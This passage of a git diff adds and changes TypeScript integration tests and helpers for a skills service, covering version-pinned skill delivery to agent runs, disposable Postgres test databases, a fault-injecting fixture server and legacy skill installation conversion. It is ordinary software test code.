@@ -239,6 +239,56 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( }) }; } + it("delivers the Studio pin instead of ordinary assignments and recovers that exact native selection", async () => { + const f = await seed(), skills = companySkillService(db); + const selected = await skills.createLocalSkill(f.companyId, { name: "Unassigned Studio skill", markdown: "# Studio\nOriginal selected bytes.\n" }); + const other = await skills.createLocalSkill(f.companyId, { name: "Ordinary assignment" }); + const pin = { key: selected.key, versionId: selected.currentVersionId! }; + await skills.updateFile(f.companyId, selected.id, "SKILL.md", "# Studio\nNewer head.\n"); + const config = { paperclipSkillSync: { desiredSkills: [other.key] } }; + await instanceSettingsService(db).updateExperimental({ enableBetaSkills: false }); + const opening = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin); + const result = await opening.prepare(); + expect(result.prepared).toBe(true); + if (!result.prepared) throw new Error("Configuration did not finish"); + expect(result.runtimeSkillEntries).toEqual([expect.objectContaining({ key: selected.key, versionId: pin.versionId })]); + expect(await readFile(path.join(result.runtimeSkillEntries[0]!.source, "SKILL.md"), "utf8")).toContain("Original selected bytes."); + const [saved] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, opening.run.id)); + expect(saved.contextSnapshot!.skillVersions).toEqual({ [selected.key]: pin.versionId }); + const restoring = await configuration(f, { paperclipSkillSync: { desiredSkills: [] } }, saved.contextSnapshot!, "paperclip_runner"); + expect(await restoring.prepare()).toMatchObject({ runtimeSkillEntries: [expect.objectContaining({ key: selected.key, versionId: pin.versionId })] }); + const preconfigured = await configuration(f, { ...config, homeMode: "preconfigured" }, {}, "paperclip_runner", false, "shared_workspace", null, pin); + await expect(preconfigured.prepare()).rejects.toThrow("isolated Runner home"); + await db.update(companySkills).set({ accessSourceId: randomUUID() }).where(eq(companySkills.id, selected.id)); + const denied = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin); + await expect(denied.prepare()).rejects.toThrow("pinned skill is unavailable or no longer permitted"); + }, 60_000); + + it("dispatches an unassigned Studio revision from its durable harness row", async () => { + const f = await seed(), skills = companySkillService(db); + const selected = await skills.createLocalSkill(f.companyId, { name: "Studio delivery", markdown: "# Studio\nRead scripts/prove.sh.\n" }); + const script = "#!/bin/sh\nprintf 'studio-pinned-proof\\n'\n"; + const saved = await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", script, null, { executable: true }); + const other = await skills.createLocalSkill(f.companyId, { name: "Assigned instead" }); + await db.update(agents).set({ adapterConfig: { paperclipSkillSync: { desiredSkills: [other.key] } } }).where(eq(agents.id, f.agentId)); + await db.update(issues).set({ workMode: "skill_test", harnessKind: "skill_test" }).where(eq(issues.id, f.issueId)); + await db.insert(companySkillTestRuns).values({ companyId: f.companyId, skillId: selected.id, skillVersionId: saved.versionId!, + agentId: f.agentId, issueId: f.issueId, inputSnapshot: "Run the saved script." }); + await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", "#!/bin/sh\necho newer\n", null, { executable: true }); + const { finished, input } = await execute(f); + expect(finished.status, finished.error ?? undefined).toBe("succeeded"); + const delivered = input?.config.paperclipRuntimeSkills as Array<{ key: string; source: string; versionId: string }>; + const testSkill = delivered.find(entry => entry.key === selected.key)!; + expect(testSkill).toMatchObject({ versionId: saved.versionId }); + expect(delivered.some(entry => entry.key === other.key)).toBe(false); + expect(await readFile(path.join(testSkill.source, "scripts/prove.sh"), "utf8")).toBe(script); + expect((await stat(path.join(testSkill.source, "scripts/prove.sh"))).mode & 0o111).not.toBe(0); + expect(finished.contextSnapshot).toMatchObject({ skillVersions: { [selected.key]: saved.versionId }, + paperclipSkillTest: { skillKey: selected.key, skillVersionId: saved.versionId } }); + const [unchangedAgent] = await db.select().from(agents).where(eq(agents.id, f.agentId)); + expect(unchangedAgent.adapterConfig).toMatchObject({ paperclipSkillSync: { desiredSkills: [other.key] } }); + }, 60_000); + it("does not install new environment declarations when recovering a saved skill selection", async () => { const f = await seed(), pluginId = randomUUID(), pluginKey = `fixture.${randomUUID()}`; await db.insert(plugins).values({ id: pluginId, pluginKey, packageName: "fixture", version: "1.0.0", status: "ready", diff --git a/server/src/__tests__/heartbeat-runtime-skills.test.ts b/server/src/__tests__/heartbeat-runtime-skills.test.ts index 247e7069bbb..a06a6a26bec 100644 --- a/server/src/__tests__/heartbeat-runtime-skills.test.ts +++ b/server/src/__tests__/heartbeat-runtime-skills.test.ts @@ -24,6 +24,7 @@ import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase, } from "./helpers/embedded-postgres.js"; +import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js"; import { companySkillService } from "../services/company-skills.ts"; import { heartbeatService } from "../services/heartbeat.ts"; import { instanceSettingsService } from "../services/instance-settings.ts"; @@ -160,7 +161,11 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => { const skills = companySkillService(db); const imported = await skills.importFromSource(companyId, directory); const key = imported.imported[0]!.key; - if (sourceType === "catalog") await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key)); + if (sourceType === "catalog") { + await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key)); + const result = await skillInstallationMaintenance(db).installations({ id: imported.imported[0]!.id, apply: true, writersStopped: true }); + expect(result.results[0]!.status).toBe("converted"); + } const selected = { snapshotLatest: true, onlyKeys: new Set([key]) }; const [first] = await skills.listRuntimeSkillEntries(companyId, selected); expect(first!.versionId).toBeTruthy(); @@ -169,6 +174,14 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => { // A reference-only change must be discovered even when SKILL.md is unchanged. await fs.writeFile(path.join(directory, 'references/marker.txt'), 'v2\n'); if (sourceType === "local_path") await skills.importFromSource(companyId, directory); + else { + const [beforeUpdate] = await skills.listRuntimeSkillEntries(companyId, selected); + expect(beforeUpdate!.versionId).toBe(first!.versionId); + const saved = (await skills.getVersion(companyId, imported.imported[0]!.id, first!.versionId!))!; + await skills.createVersion(companyId, imported.imported[0]!.id, {}, null, { + fileInventory: saved.fileInventory.map(file => file.path === "references/marker.txt" ? { ...file, content: "v2\n" } : file), + }); + } const [latest] = await skills.listRuntimeSkillEntries(companyId, selected); expect(latest!.versionId).not.toBe(first!.versionId); expect(await fs.readFile(path.join(latest!.source, 'references/marker.txt'), 'utf8')).toBe('v2\n'); diff --git a/server/src/__tests__/helpers/embedded-postgres.ts b/server/src/__tests__/helpers/embedded-postgres.ts index 4318162a9ac..a5088faa573 100644 --- a/server/src/__tests__/helpers/embedded-postgres.ts +++ b/server/src/__tests__/helpers/embedded-postgres.ts @@ -1,6 +1,35 @@ -export { - getEmbeddedPostgresTestSupport, - startEmbeddedPostgresTestDatabase, +import { randomUUID } from "node:crypto"; +import { + applyPendingMigrations, + createDb, + getEmbeddedPostgresTestSupport as embeddedSupport, + startEmbeddedPostgresTestDatabase as startEmbedded, type EmbeddedPostgresTestDatabase, type EmbeddedPostgresTestSupport, } from "@paperclipai/db"; + +export type { EmbeddedPostgresTestDatabase, EmbeddedPostgresTestSupport }; + +export async function getEmbeddedPostgresTestSupport(): Promise { + return process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? { supported: true } : embeddedSupport(); +} + +export async function startEmbeddedPostgresTestDatabase(prefix: string): Promise { + const adminUrl = process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL; + if (!adminUrl) return startEmbedded(prefix); + const name = `paperclip_test_${randomUUID().replaceAll("-", "")}`; + const template = process.env.PAPERCLIP_TEST_POSTGRES_TEMPLATE; + if (template && !/^paperclip_test_template_[a-f0-9]+$/.test(template)) throw new Error("Invalid disposable test template name"); + const admin = createDb(adminUrl, { maxConnections: 1 }); + const url = new URL(adminUrl); + url.pathname = `/${name}`; + const cleanup = async () => { + try { await admin.$client.unsafe(`DROP DATABASE IF EXISTS "${name}" WITH (FORCE)`); } + finally { await admin.$client.end({ timeout: 1 }); } + }; + try { + await admin.$client.unsafe(`CREATE DATABASE "${name}"${template ? ` TEMPLATE "${template}"` : ""}`); + if (!template) await applyPendingMigrations(url.toString()); + return { connectionString: url.toString(), cleanup }; + } catch (error) { await cleanup(); throw error; } +} diff --git a/server/src/__tests__/helpers/ephemeral-skills-server.ts b/server/src/__tests__/helpers/ephemeral-skills-server.ts new file mode 100644 index 00000000000..20b9dc743e9 --- /dev/null +++ b/server/src/__tests__/helpers/ephemeral-skills-server.ts @@ -0,0 +1,76 @@ +import express from "express"; +import { promisify } from "node:util"; +import { execFile } from "node:child_process"; +import { promises as fs } from "node:fs"; +import path from "node:path"; +import { createDb } from "@paperclipai/db"; +import { companySkillRoutes } from "../../routes/company-skills.js"; +import { errorHandler } from "../../middleware/error-handler.js"; +import { companySkillService } from "../../services/company-skills.js"; +import { getStorageService } from "../../storage/index.js"; + +const db = createDb(process.env.DATABASE_URL!, { maxConnections: 1 }); +const storage = getStorageService(); +const getObject = storage.getObject.bind(storage), putFile = storage.putFile.bind(storage); +let downloads = 0, downloadedBytes = 0, failUploads = false, crashAfterUpload = false, lostResponse = false; +storage.getObject = async (...args) => { + downloads++; + const result = await getObject(...args); + downloadedBytes += result.contentLength ?? 0; + return result; +}; +storage.putFile = async (...args) => { + if (failUploads) throw new Error("Qualification upload failure"); + const result = await putFile(...args); + if (crashAfterUpload) process.kill(process.pid, "SIGKILL"); + return result; +}; +const app = express(); +app.use(express.json()); +app.use((req, res, next) => { + req.actor = { type: "board", source: "local_implicit", userId: "local-board", isInstanceAdmin: true }; + const json = res.json.bind(res); + res.json = ((body: unknown) => { + if (lostResponse && res.statusCode < 400 && req.method !== "GET") { + lostResponse = false; + res.socket?.destroy(); + return res; + } + return json(body); + }) as typeof res.json; + next(); +}); +app.use("/api", companySkillRoutes(db)); +app.use(errorHandler); +const server = app.listen(0, "127.0.0.1", () => { + const address = server.address(); + process.send?.({ ready: true, port: typeof address === "object" ? address?.port : null, pid: process.pid }); +}); +process.on("message", async (message: { id: number; method: string; input?: Record }) => { + try { + const input = message.input ?? {}; + let result: unknown; + if (message.method === "faults") { + failUploads = input.failUploads ?? false; + crashAfterUpload = input.crashAfterUpload ?? false; + lostResponse = input.lostResponse ?? false; + result = true; + } else if (message.method === "metrics") { + result = { downloads, downloadedBytes, memory: process.memoryUsage() }; + downloads = 0; downloadedBytes = 0; + } else if (message.method === "runtime") { + const started = performance.now(); + result = await companySkillService(db).withRuntimeSkillEntries(input.companyId, { + onlyKeys: new Set([input.key]), snapshotLatest: true, + ...(input.versionId ? { versionSelections: new Map([[input.key, input.versionId]]) } : {}), + }, async entries => { + const entry = entries[0]; + if (!entry || entry.sourceStatus === "missing") throw new Error(entry?.missingDetail ?? "Missing runtime selection"); + const output = input.execute ? await promisify(execFile)(path.join(entry.source, "scripts/run.sh"), [], { cwd: entry.source }) : null; + return { versionId: entry.versionId, markdown: await fs.readFile(path.join(entry.source, "SKILL.md"), "utf8"), + output: output?.stdout, elapsedMs: performance.now() - started }; + }); + } else throw new Error("Unknown fixture method"); + process.send?.({ id: message.id, result }); + } catch (error) { process.send?.({ id: message.id, error: error instanceof Error ? error.message : String(error) }); } +}); diff --git a/server/src/__tests__/managed-skill-content.test.ts b/server/src/__tests__/managed-skill-content.test.ts new file mode 100644 index 00000000000..cd4ddb8135f --- /dev/null +++ b/server/src/__tests__/managed-skill-content.test.ts @@ -0,0 +1,387 @@ +import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js"; +import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js"; +import { eq } from "drizzle-orm"; +import { writePaperclipSkillSyncPreference } from "@paperclipai/adapter-utils/server-utils"; +import { materializeSelectedSkills, rehydratePinnedSkillAssets } from "../services/native-runtime/runtime-context.js"; +import { nativeRuntimeContextFixture } from "../services/native-runtime/runtime-context.test-fixture.js"; +import { randomUUID } from "node:crypto"; +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import { fileURLToPath } from "node:url"; +import { promises as fs } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import { applyPendingMigrations, agents, heartbeatRuns, companySkills, companySkillVersions, companies, createDb, instanceSettings } from "@paperclipai/db"; +import { companySkillService } from "../services/company-skills.js"; +import * as storageModule from "../storage/index.js"; +import { createStorageService } from "../storage/service.js"; +import { createLocalDiskStorageProvider } from "../storage/local-disk-provider.js"; +import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; + +const externalDatabase = process.env.PAPERCLIP_SKILL_TEST_DATABASE_URL; +const support = externalDatabase ? { supported: true } : await getEmbeddedPostgresTestSupport(); +if (!support.supported) console.warn("Managed skill integration database unavailable:", support); +describe.skipIf(!support.supported)("managed skills use committed versions", () => { + let database: Awaited>; + let db: ReturnType; + let root: string; + let home: string; + const previousHome = process.env.PAPERCLIP_HOME; + const previousInstance = process.env.PAPERCLIP_INSTANCE_ID; + const previousStorage = process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED; + beforeAll(async () => { + if (externalDatabase) { + await applyPendingMigrations(externalDatabase); + database = { connectionString: externalDatabase, cleanup: async () => {} }; + } else database = await startEmbeddedPostgresTestDatabase("managed-skill-content-"); + db = createDb(database.connectionString); + root = await fs.mkdtemp(path.join(os.tmpdir(), "managed-skill-content-")); + home = path.join(root, "server-a"); + process.env.PAPERCLIP_HOME = home; + process.env.PAPERCLIP_INSTANCE_ID = "default"; + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; + vi.spyOn(storageModule, "getStorageService").mockReturnValue( + createStorageService(createLocalDiskStorageProvider(path.join(root, "objects"))), + ); + }, 30_000); + afterAll(async () => { + vi.restoreAllMocks(); + if (previousHome === undefined) delete process.env.PAPERCLIP_HOME; + else process.env.PAPERCLIP_HOME = previousHome; + if (previousStorage === undefined) delete process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED; + else process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = previousStorage; + await db?.$client.end({ timeout: 1 }); + await database?.cleanup(); + if (root) await removeRuntimeAssetTree(root); + if (previousInstance === undefined) delete process.env.PAPERCLIP_INSTANCE_ID; + else process.env.PAPERCLIP_INSTANCE_ID = previousInstance; + }); + async function company() { + const id = randomUUID(); + await db.insert(companies).values({ id, name: "Managed content", issuePrefix: `M${id.slice(0, 6)}` }); + return id; + } + + it("imports supporting files from a root-level package without truncating their paths", async () => { + const companyId = await company(); + const service = companySkillService(db); + const [imported] = await service.importPackageFiles(companyId, { + "SKILL.md": "---\nname: Root package\n---\n# Root\n", + "references/guide.md": "complete root guide", + }); + expect(imported).toBeTruthy(); + const skills = await service.list(companyId); + const skill = skills.find(entry => entry.name === "Root package")!; + expect(await service.readFile(companyId, skill.id, "references/guide.md")) + .toMatchObject({ content: "complete root guide" }); + }); + + it("loads persisted Cloud configuration for read-only maintenance without seeding it", async () => { + const companyId = await company(); + await companySkillService(db).createLocalSkill(companyId, { name: "Cloud CLI", markdown: "# Cloud CLI" }); + const key = "cloud-runtime-config:v1"; + const run = (phase: string) => promisify(execFile)(process.execPath, [ + "--import", fileURLToPath(import.meta.resolve("tsx")), + fileURLToPath(new URL("../../scripts/migrate-skill-packages.ts", import.meta.url)), + `--phase=${phase}`, `--company=${companyId}`, "--limit=50", + ], { env: { ...process.env, DATABASE_URL: database.connectionString, + PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN: "disposable-cloud-cli-fixture", + PAPERCLIP_STORAGE_PROVIDER: "local_disk", PAPERCLIP_STORAGE_LOCAL_DIR: path.join(root, "objects") }, + timeout: 60_000, maxBuffer: 1024 * 1024 }); + await expect(run("eligibility")).rejects.toThrow("Initialize Cloud runtime configuration"); + expect(await db.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, key))).toHaveLength(0); + await db.insert(instanceSettings).values({ singletonKey: key, general: { version: 1, revision: 0, config: null } }); + try { + const eligibility = JSON.parse((await run("eligibility")).stdout.trim().split("\n").at(-1)!); + expect(eligibility.results).toEqual([expect.objectContaining({ status: "version_backed" })]); + const verification = JSON.parse((await run("verification")).stdout.trim().split("\n").at(-1)!); + expect(verification.results).toEqual([expect.objectContaining({ status: "local_storage" })]); + } finally { + await db.delete(instanceSettings).where(eq(instanceSettings.singletonKey, key)); + } + }, 180_000); + + it("forks live linked-local content even when an older saved version exists", async () => { + const companyId = await company(); + const directory = path.join(root, `linked-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked\n"); + await fs.writeFile(path.join(directory, "support.txt"), "old saved content"); + const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Linked\n", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning(); + const service = companySkillService(db); + const saved = await service.createVersion(companyId, linked!.id); + await fs.writeFile(path.join(directory, "support.txt"), "current local content"); + await fs.writeFile(path.join(directory, "added.txt"), "new local file"); + const forked = await service.createLocalSkill(companyId, { name: "Live fork", forkedFromSkillId: linked!.id }); + expect(await service.readFile(companyId, forked.id, "support.txt")).toMatchObject({ content: "current local content" }); + expect(await service.readFile(companyId, forked.id, "added.txt")).toMatchObject({ content: "new local file" }); + expect((await service.getVersion(companyId, linked!.id, saved.id))?.fileInventory) + .toContainEqual(expect.objectContaining({ path: "support.txt", content: "old saved content" })); + }); + + it("carries committed version preconditions through a multi-file linked-local restore", async () => { + const companyId = await company(); + const directory = path.join(root, `restore-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# Original\n"); + await fs.writeFile(path.join(directory, "support.txt"), "original support"); + const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Original\n", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning(); + const service = companySkillService(db); + const saved = await service.createVersion(companyId, linked!.id); + const original = (await service.getVersion(companyId, linked!.id, saved.id))!; + await service.updateFile(companyId, linked!.id, "SKILL.md", "# Changed\n"); + await service.updateFile(companyId, linked!.id, "support.txt", "changed support"); + let versionId = (await service.readFile(companyId, linked!.id, "SKILL.md"))!.versionId; + expect(versionId).toBeTruthy(); + for (const file of original.fileInventory) { + const result = await service.updateFile(companyId, linked!.id, file.path, file.content, null, + { expectedVersionId: versionId }); + expect(result.versionId).toBeTruthy(); + expect(result.versionId).not.toBe(versionId); + versionId = result.versionId; + } + expect(await service.readFile(companyId, linked!.id, "SKILL.md")).toMatchObject({ content: "# Original\n", versionId }); + expect(await service.readFile(companyId, linked!.id, "support.txt")).toMatchObject({ content: "original support", versionId }); + }); + + it("keeps an unassigned skill, supporting bytes and executable mode across fresh homes", async () => { + const companyId = await company(); + const a = companySkillService(db); + const skill = await a.createLocalSkill(companyId, { name: "Cold", slug: "cold", markdown: "# First\n" }); + expect(skill.sourceType).toBe("managed"); + expect(skill.sourceLocator).toBeNull(); + expect(skill.currentVersionId).toBeTruthy(); + await expect(fs.stat(path.join(home, "instances/default/skills", companyId, "cold"))).rejects.toMatchObject({ code: "ENOENT" }); + const saved = await a.updateFile(companyId, skill.id, "scripts/run.sh", "#!/bin/sh\necho cold\n", null, + { executable: true, expectedVersionId: skill.currentVersionId }); + const binary = await a.updateFile(companyId, skill.id, "data.bin", "AP8H", null, + { encoding: "base64", expectedVersionId: saved.versionId }); + await fs.rm(home, { recursive: true, force: true }); + process.env.PAPERCLIP_HOME = path.join(root, "server-b"); + const b = companySkillService(db); + expect((await b.list(companyId)).some(item => item.id === skill.id)).toBe(true); + expect(await b.readFile(companyId, skill.id, "data.bin")).toMatchObject({ content: "AP8H", encoding: "base64", versionId: binary.versionId }); + const updated = await b.updateFile(companyId, skill.id, "SKILL.md", "# Saved on B\n", null, { expectedVersionId: binary.versionId }); + const [runtime] = await b.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true }); + expect(runtime).toMatchObject({ versionId: updated.versionId, sourceStatus: "available" }); + expect((await fs.stat(path.join(runtime!.source, "scripts/run.sh"))).mode & 0o111).not.toBe(0); + expect(await fs.readFile(path.join(runtime!.source, "data.bin"))).toEqual(Buffer.from([0, 255, 7])); + await fs.rm(process.env.PAPERCLIP_HOME, { recursive: true, force: true }); + process.env.PAPERCLIP_HOME = path.join(root, "server-c"); + expect(await companySkillService(db).readFile(companyId, skill.id, "SKILL.md")) + .toMatchObject({ content: "# Saved on B\n", versionId: updated.versionId }); + expect(await a.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ versionId: updated.versionId }); + }); + + it("rejects a save whose base changed while its package was being prepared", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Race" }); + await expect(service.updateFile(companyId, skill.id, "first.md", "first", null, { publication: { + beforeLock: async () => { await service.updateFile(companyId, skill.id, "second.md", "second"); }, + } })).rejects.toMatchObject({ status: 409 }); + expect(await service.readFile(companyId, skill.id, "second.md")).toMatchObject({ content: "second" }); + await expect(service.readFile(companyId, skill.id, "first.md")).rejects.toMatchObject({ status: 404 }); + await expect(service.updateFile(companyId, skill.id, "first.md", "stale", null, + { expectedVersionId: skill.currentVersionId })).rejects.toMatchObject({ status: 409 }); + }); + + it("rolls back publication without changing the head or an existing version", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Rollback", markdown: "# Original" }); + await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Rejected", null, + { publication: { afterPublish: async () => { throw new Error("failed audit"); } } })).rejects.toThrow("failed audit"); + expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original", versionId: skill.currentVersionId }); + expect(await service.listVersions(companyId, skill.id)).toHaveLength(1); + }); + + it("does not overwrite a metadata edit committed while content was being prepared", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Metadata race", markdown: "# Original" }); + await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Candidate", null, { publication: { + beforeLock: async () => { await service.updateSkill(companyId, skill.id, { description: "Acknowledged metadata" }); }, + } })).rejects.toMatchObject({ status: 409 }); + expect(await service.getById(companyId, skill.id)).toMatchObject({ description: "Acknowledged metadata", currentVersionId: skill.currentVersionId }); + expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original" }); + }); + + it("restores the exact historical inventory and preserves history through rename and fork", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "History", markdown: "# Original" }); + const extra = await service.updateFile(companyId, skill.id, "new.md", "not in first version"); + const restored = await service.createVersion(companyId, skill.id, + { sourceVersionId: skill.currentVersionId!, expectedVersionId: extra.versionId }); + await expect(service.readFile(companyId, skill.id, "new.md")).rejects.toMatchObject({ status: 404 }); + const renamed = await service.renameSkill(companyId, skill.id, { name: "Renamed", expectedVersionId: restored.id }); + expect(renamed.skill).toMatchObject({ id: skill.id, sourceType: "managed", sourceLocator: null }); + expect((await service.getVersion(companyId, skill.id, skill.currentVersionId!))!.fileInventory) + .toContainEqual({ path: "SKILL.md", kind: "skill", content: "# Original" }); + const fork = await service.forkSkill(companyId, skill.id); + expect(fork.skill).toMatchObject({ sourceType: "managed", sourceLocator: null, forkedFromSkillId: skill.id }); + expect((await service.readFile(companyId, fork.skill.id, "SKILL.md"))!.content) + .toBe((await service.readFile(companyId, skill.id, "SKILL.md"))!.content); + }); + it("persists selection before delivery and rejects deleting a detached active run's pin", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Pinned", markdown: "# pinned bytes" }); + const [agent] = await db.insert(agents).values({ companyId, name: "Runner" }).returning(); + const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running" }).returning(); + let persisted = false; + const entries = await service.withRuntimeSkillEntries(companyId, { + onlyKeys: new Set([skill.key]), snapshotLatest: true, + selectVersions: async selected => { + expect(selected).toEqual([expect.objectContaining({ skillId: skill.id, versionId: skill.currentVersionId })]); + expect(selected[0]).not.toHaveProperty("source"); + await expect(fs.stat(path.join(process.env.PAPERCLIP_HOME!, "instances/default/skills", companyId, + "__versions__", skill.id, skill.currentVersionId!))).rejects.toMatchObject({ code: "ENOENT" }); + await db.update(heartbeatRuns).set({ contextSnapshot: { skillVersions: { [skill.key]: skill.currentVersionId }, skillSelectionSnapshot: true } }) + .where(eq(heartbeatRuns.id, run!.id)); + persisted = true; + return new Set([skill.key]); + }, + }, async entries => { expect(persisted).toBe(true); return entries; }); + const config = writePaperclipSkillSyncPreference({}, [{ key: skill.key, versionId: skill.currentVersionId }]); + const selected = await materializeSelectedSkills(config, entries, false); + const context = { ...nativeRuntimeContextFixture(), skills: selected }; + const originalHome = process.env.PAPERCLIP_HOME!; + process.env.PAPERCLIP_HOME = path.join(root, `recovery-${randomUUID()}`); + const recovered = await rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, context); + expect(recovered.skills[0]!.bundle.digest).toBe(selected[0]!.bundle.digest); + expect(recovered.skills[0]!.bundle.rootPath).not.toBe(selected[0]!.bundle.rootPath); + expect(await fs.readFile(path.join(recovered.skills[0]!.bundle.rootPath, "SKILL.md"), "utf8")).toBe("# pinned bytes"); + await expect(rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, { + ...context, skills: [{ ...selected[0]!, bundle: { ...selected[0]!.bundle, digest: "0".repeat(64) } }], + })).rejects.toThrow("admitted digest"); + await expect(service.deleteSkill(companyId, skill.id)).rejects.toMatchObject({ status: 422 }); + await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id)); + await expect(service.deleteSkill(companyId, skill.id)).resolves.toMatchObject({ id: skill.id }); + process.env.PAPERCLIP_HOME = originalHome; + }); + + it("converts a legacy managed installation without changing its identity or identical version", async () => { + const companyId = await company(); + const directory = path.join(root, `legacy-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy saved"); + await fs.writeFile(path.join(directory, "support.txt"), "support"); + const [legacy] = await db.insert(companySkills).values({ companyId, key: `company/${companyId}/legacy`, slug: "legacy", + name: "Legacy", markdown: "# legacy saved", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }], + metadata: { sourceKind: "managed_local" } }).returning(); + const service = companySkillService(db); + const version = await service.createVersion(companyId, legacy!.id); + await db.update(companySkillVersions).set({ packageFileMap: null }).where(eq(companySkillVersions.id, version.id)); + const maintenance = skillInstallationMaintenance(db); + expect((await maintenance.installations({ id: legacy!.id })).results[0]!.status).toBe("conversion_required"); + await expect(maintenance.installations({ companyId, apply: true })).rejects.toMatchObject({ status: 409 }); + expect((await maintenance.installations({ id: legacy!.id, apply: true, writersStopped: true })).results) + .toEqual([expect.objectContaining({ skillId: legacy!.id, versionId: version.id, status: "converted" })]); + await fs.rm(directory, { recursive: true }); + expect(await service.getById(companyId, legacy!.id)).toMatchObject({ sourceType: "managed", sourceLocator: null, currentVersionId: version.id }); + expect(await service.readFile(companyId, legacy!.id, "support.txt")).toMatchObject({ content: "support" }); + expect((await maintenance.eligibility({ id: legacy!.id })).results[0]!.status).toBe("version_backed"); + }); + + it("reports an unrecoverable legacy installation and leaves linked sources alone", async () => { + const companyId = await company(); + const [legacy] = await db.insert(companySkills).values({ companyId, key: "legacy-missing", slug: "legacy-missing", name: "Missing", + markdown: "partial metadata only", sourceType: "local_path", sourceLocator: path.join(root, "absent"), + metadata: { sourceKind: "managed_local" } }).returning(); + const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Linked", sourceType: "local_path", sourceLocator: path.join(root, "linked") }).returning(); + const report = await skillInstallationMaintenance(db).installations({ companyId, apply: true, writersStopped: true }); + expect(report.results).toEqual(expect.arrayContaining([ + expect.objectContaining({ skillId: legacy!.id, status: "blocked" }), + expect.objectContaining({ skillId: linked!.id, status: "linked_local" }), + ])); + expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null }); + }); + + it("converts a missing legacy directory from its complete saved version", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Saved conversion", markdown: "# saved" }); + const saved = await service.updateFile(companyId, skill.id, "support.txt", "complete supporting content"); + await db.update(companySkills).set({ sourceType: "local_path", sourceLocator: path.join(root, "missing-legacy"), + metadata: { sourceKind: "managed_local" } }).where(eq(companySkills.id, skill.id)); + const maintenance = skillInstallationMaintenance(db); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results) + .toEqual([expect.objectContaining({ skillId: skill.id, versionId: saved.versionId, status: "converted" })]); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]!.status).toBe("unchanged"); + expect(await service.readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "complete supporting content" }); + }); + + it.each([false, true])("blocks an incomplete installed repository version and converts only its exact source (package: %s)", async packaged => { + const companyId = await company(), service = companySkillService(db); + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = String(packaged); + const skill = await service.createLocalSkill(companyId, { name: "Partial legacy repository", markdown: "# Installed revision" }); + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; + const commit = "a".repeat(40); + await db.update(companySkills).set({ sourceType: "github", sourceLocator: `https://github.com/fixture/skills/tree/${commit}/fixture`, + 